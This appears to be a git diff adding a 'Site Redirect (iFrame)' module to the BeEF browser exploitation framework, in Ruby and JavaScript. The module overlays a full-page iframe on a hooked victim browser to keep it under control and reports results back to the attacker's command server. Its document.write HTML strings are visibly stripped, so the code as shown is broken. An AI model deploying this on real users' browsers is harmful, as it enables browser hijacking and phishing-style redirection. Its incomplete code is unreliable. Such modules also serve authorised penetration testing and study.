diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js
new file mode 100644
index 000000000..0d8956cf0
--- /dev/null
+++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.js
@@ -0,0 +1,18 @@
+beef.execute(function() {
+
+ /*
+ TODO:
+ Automatically get and set iframe title.
+ */
+
+ var result = 'Iframe successfully created!'
+ var title = '';
+ var iframe_src = '<%= @iframe_src %>';
+ var favicon = iframe_src + '/favicon.ico';
+
+// document.write('
' + title + '');
+
+ document.write('');
+
+ beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result));
+});
diff --git a/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb
new file mode 100644
index 000000000..f4d3a1087
--- /dev/null
+++ b/modules/commands/browser/site_redirect_iframe/site_redirect_iframe.rb
@@ -0,0 +1,38 @@
+module BeEF
+module Modules
+module Commands
+
+
+class Site_redirect_iframe < BeEF::Command
+
+ #
+ # Defines and set up the command module.
+ #
+ def initialize
+ super({
+ 'Name' => 'Site Redirect (iFrame)',
+ 'Description' => 'This module will redirect the hooked browser to the address specified in the \'Redirect URL\' input. It creates a 100% x 100% overlaying iframe to keep the victim hooked.',
+ 'Category' => 'Browser',
+ 'Author' => 'ethicalhack3r',
+ 'Data' => [
+ ['name' => 'iframe_src', 'ui_label' => 'Redirect URL', 'value' => 'http://www.bindshell.net/', 'width'=>'200px']
+ ],
+ 'File' => __FILE__,
+ 'Target' => { 'browser_name' => BeEF::Constants::Browsers::ALL }
+ })
+
+ use_template!
+ end
+
+ # This method is being called when a hooked browser sends some
+ # data back to the framework.
+ #
+ def callback
+ save({'result' => @datastore['result']})
+ end
+
+end
+
+end
+end
+end